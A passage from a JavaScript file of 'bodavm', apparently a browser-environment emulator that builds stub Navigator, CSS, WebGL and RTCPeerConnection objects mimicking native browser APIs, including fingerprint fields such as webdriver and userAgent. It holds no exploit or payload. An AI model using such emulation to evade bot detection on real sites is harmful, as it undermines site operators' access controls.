"getRemoteStreams", {configurable:true, enumerable:true, writable:true, value:function getRemoteStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getRemoteStreams", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getSenders", {configurable:true, enumerable:true, writable:true, value:function getSenders (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getSenders", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getStats", {configurable:true, enumerable:true, writable:true, value:function getStats (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getStats", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getTransceivers", {configurable:true, enumerable:true, writable:true, value:function getTransceivers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getTransceivers", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeStream", {configurable:true, enumerable:true, writable:true, value:function removeStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "removeTrack", {configurable:true, enumerable:true, writable:true, value:function removeTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "removeTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "restartIce", {configurable:true, enumerable:true, writable:true, value:function restartIce (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "restartIce", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setConfiguration", {configurable:true, enumerable:true, writable:true, value:function setConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setConfiguration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setLocalDescription", {configurable:true, enumerable:true, writable:true, value:function setLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setLocalDescription", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "setRemoteDescription", {configurable:true, enumerable:true, writable:true, value:function setRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "setRemoteDescription", arguments)}},'prototype'); - -// WebGLBuffer对象 -bodavm.memory.globalobj['WebGLBuffer'] = function WebGLBuffer(){if (!(this instanceof WebGLBuffer)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLBuffer'], "WebGLBuffer"); - -// WebGLProgram对象 -bodavm.memory.globalobj['WebGLProgram'] = function WebGLProgram(){if (!(this instanceof WebGLProgram)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLProgram'], "WebGLProgram"); - -// CSS对象 - -bodavm.memory.globalobj['CSS'] = { - _boisinit:bodavm.config.isinit - } - -bodavm.toolsFunc.defineProperty('CSS', "Hz", {configurable:true, enumerable:true, writable:true, value:function Hz (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Hz", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "Q", {configurable:true, enumerable:true, writable:true, value:function Q (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Q", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "ch", {configurable:true, enumerable:true, writable:true, value:function ch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ch", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cm", {configurable:true, enumerable:true, writable:true, value:function cm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cm", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqb", {configurable:true, enumerable:true, writable:true, value:function cqb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqh", {configurable:true, enumerable:true, writable:true, value:function cqh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqi", {configurable:true, enumerable:true, writable:true, value:function cqi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqmax", {configurable:true, enumerable:true, writable:true, value:function cqmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqmin", {configurable:true, enumerable:true, writable:true, value:function cqmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "cqw", {configurable:true, enumerable:true, writable:true, value:function cqw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "deg", {configurable:true, enumerable:true, writable:true, value:function deg (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "deg", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dpcm", {configurable:true, enumerable:true, writable:true, value:function dpcm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpcm", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dpi", {configurable:true, enumerable:true, writable:true, value:function dpi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dppx", {configurable:true, enumerable:true, writable:true, value:function dppx (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dppx", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "em", {configurable:true, enumerable:true, writable:true, value:function em (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "em", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "escape", {configurable:true, enumerable:true, writable:true, value:function escape (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "escape", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "ex", {configurable:true, enumerable:true, writable:true, value:function ex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ex", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "fr", {configurable:true, enumerable:true, writable:true, value:function fr (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "fr", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "grad", {configurable:true, enumerable:true, writable:true, value:function grad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "grad", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "in", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "in", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "kHz", {configurable:true, enumerable:true, writable:true, value:function kHz (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "kHz", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "mm", {configurable:true, enumerable:true, writable:true, value:function mm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "mm", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "ms", {configurable:true, enumerable:true, writable:true, value:function ms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ms", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "number", {configurable:true, enumerable:true, writable:true, value:function number (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "number", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "pc", {configurable:true, enumerable:true, writable:true, value:function pc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pc", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "percent", {configurable:true, enumerable:true, writable:true, value:function percent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "percent", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "pt", {configurable:true, enumerable:true, writable:true, value:function pt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pt", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "px", {configurable:true, enumerable:true, writable:true, value:function px (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "px", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "rad", {configurable:true, enumerable:true, writable:true, value:function rad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rad", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "registerProperty", {configurable:true, enumerable:true, writable:true, value:function registerProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "registerProperty", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "rem", {configurable:true, enumerable:true, writable:true, value:function rem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rem", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "s", {configurable:true, enumerable:true, writable:true, value:function s (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "s", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "supports", {configurable:true, enumerable:true, writable:true, value:function supports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "supports", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "turn", {configurable:true, enumerable:true, writable:true, value:function turn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "turn", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vh", {configurable:true, enumerable:true, writable:true, value:function vh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vmax", {configurable:true, enumerable:true, writable:true, value:function vmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vmin", {configurable:true, enumerable:true, writable:true, value:function vmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vw", {configurable:true, enumerable:true, writable:true, value:function vw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "highlights", {configurable:true, enumerable:true, get:function highlights (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "highlights_get", arguments)}, set:undefined}); - -bodavm.toolsFunc.defineProperty('CSS', "dvb", {configurable:true, enumerable:true, writable:true, value:function dvb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvh", {configurable:true, enumerable:true, writable:true, value:function dvh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvi", {configurable:true, enumerable:true, writable:true, value:function dvi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvmax", {configurable:true, enumerable:true, writable:true, value:function dvmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvmin", {configurable:true, enumerable:true, writable:true, value:function dvmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvw", {configurable:true, enumerable:true, writable:true, value:function dvw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvb", {configurable:true, enumerable:true, writable:true, value:function lvb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvh", {configurable:true, enumerable:true, writable:true, value:function lvh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvi", {configurable:true, enumerable:true, writable:true, value:function lvi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvmax", {configurable:true, enumerable:true, writable:true, value:function lvmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvmin", {configurable:true, enumerable:true, writable:true, value:function lvmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvw", {configurable:true, enumerable:true, writable:true, value:function lvw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svb", {configurable:true, enumerable:true, writable:true, value:function svb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svh", {configurable:true, enumerable:true, writable:true, value:function svh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svi", {configurable:true, enumerable:true, writable:true, value:function svi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svmax", {configurable:true, enumerable:true, writable:true, value:function svmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svmin", {configurable:true, enumerable:true, writable:true, value:function svmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svw", {configurable:true, enumerable:true, writable:true, value:function svw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vb", {configurable:true, enumerable:true, writable:true, value:function vb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vi", {configurable:true, enumerable:true, writable:true, value:function vi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "paintWorklet", {configurable:true, enumerable:true, get:function paintWorklet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "paintWorklet_get", arguments)}, set:undefined}); - - -// OrientationSensor对象 -bodavm.memory.globalobj['OrientationSensor'] = function OrientationSensor(){if (!(this instanceof OrientationSensor)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['OrientationSensor'], "OrientationSensor"); -bodavm.memory.globalobj['OrientationSensor'].prototype.__proto__=bodavm.memory.globalobj['Sensor'].prototype; -bodavm.memory.globalobj['OrientationSensor'].__proto__=bodavm.memory.globalobj['Sensor']; -bodavm.toolsFunc.defineProperty('OrientationSensor', "quaternion", {configurable:true, enumerable:true, get:function quaternion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OrientationSensor'].prototype, "OrientationSensor", "quaternion_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('OrientationSensor', "populateMatrix", {configurable:true, enumerable:true, writable:true, value:function populateMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['OrientationSensor'].prototype, "OrientationSensor", "populateMatrix", arguments)}},'prototype'); - -// Navigator对象 -bodavm.memory.globalobj['Navigator'] = function Navigator(){if (!(this instanceof Navigator)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Navigator'], "Navigator"); -bodavm.toolsFunc.defineProperty('Navigator', "vendorSub", {configurable:true, enumerable:true, get:function vendorSub (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendorSub_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "productSub", {configurable:true, enumerable:true, get:function productSub (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "productSub_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "vendor", {configurable:true, enumerable:true, get:function vendor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vendor_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "maxTouchPoints", {configurable:true, enumerable:true, get:function maxTouchPoints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "maxTouchPoints_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "scheduling", {configurable:true, enumerable:true, get:function scheduling (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "scheduling_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "userActivation", {configurable:true, enumerable:true, get:function userActivation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userActivation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "doNotTrack", {configurable:true, enumerable:true, get:function doNotTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "doNotTrack_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "geolocation", {configurable:true, enumerable:true, get:function geolocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "geolocation_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "connection", {configurable:true, enumerable:true, get:function connection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "connection_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "plugins", {configurable:true, enumerable:true, get:function plugins (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "plugins_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "mimeTypes", {configurable:true, enumerable:true, get:function mimeTypes (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mimeTypes_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "pdfViewerEnabled", {configurable:true, enumerable:true, get:function pdfViewerEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "pdfViewerEnabled_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "webkitTemporaryStorage", {configurable:true, enumerable:true, get:function webkitTemporaryStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitTemporaryStorage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "webkitPersistentStorage", {configurable:true, enumerable:true, get:function webkitPersistentStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webkitPersistentStorage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "hardwareConcurrency", {configurable:true, enumerable:true, get:function hardwareConcurrency (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hardwareConcurrency_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "cookieEnabled", {configurable:true, enumerable:true, get:function cookieEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "cookieEnabled_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "appCodeName", {configurable:true, enumerable:true, get:function appCodeName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appCodeName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "appName", {configurable:true, enumerable:true, get:function appName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "appVersion", {configurable:true, enumerable:true, get:function appVersion (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "appVersion_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "platform", {configurable:true, enumerable:true, get:function platform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "platform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "product", {configurable:true, enumerable:true, get:function product (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "product_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "userAgent", {configurable:true, enumerable:true, get:function userAgent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "userAgent_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "language", {configurable:true, enumerable:true, get:function language (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "language_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "languages", {configurable:true, enumerable:true, get:function languages (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "languages_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "onLine", {configurable:true, enumerable:true, get:function onLine (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "onLine_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "webdriver", {configurable:true, enumerable:true, get:function webdriver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "webdriver_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "getGamepads", {configurable:true, enumerable:true, writable:true, value:function getGamepads (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "getGamepads", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "javaEnabled", {configurable:true, enumerable:true, writable:true, value:function javaEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "javaEnabled", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "sendBeacon", {configurable:true, enumerable:true, writable:true, value:function sendBeacon (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "sendBeacon", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "vibrate", {configurable:true, enumerable:true, writable:true, value:function vibrate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "vibrate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "bluetooth", {configurable:true, enumerable:true, get:function bluetooth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "bluetooth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "clipboard", {configurable:true, enumerable:true, get:function clipboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "clipboard_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "credentials", {configurable:true, enumerable:true, get:function credentials (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "credentials_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "keyboard", {configurable:true, enumerable:true, get:function keyboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "keyboard_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "managed", {configurable:true, enumerable:true, get:function managed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "managed_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "mediaDevices", {configurable:true, enumerable:true, get:function mediaDevices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaDevices_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "storage", {configurable:true, enumerable:true, get:function storage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "storage_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "serviceWorker", {configurable:true, enumerable:true, get:function serviceWorker (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "serviceWorker_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "virtualKeyboard", {configurable:true, enumerable:true, get:function virtualKeyboard (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "virtualKeyboard_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "wakeLock", {configurable:true, enumerable:true, get:function wakeLock (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "wakeLock_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "deviceMemory", {configurable:true, enumerable:true, get:function deviceMemory (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "deviceMemory_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "ink", {configurable:true, enumerable:true, get:function ink (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "ink_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "hid", {configurable:true, enumerable:true, get:function hid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "hid_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "locks", {configurable:true, enumerable:true, get:function locks (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "locks_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "mediaCapabilities", {configurable:true, enumerable:true, get:function mediaCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Navigator'].prototype, "Navigator", "mediaCapabilities_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Navigator', "mediaSession", {configurable:true, enumerable:true, get:function mediaSession (){return 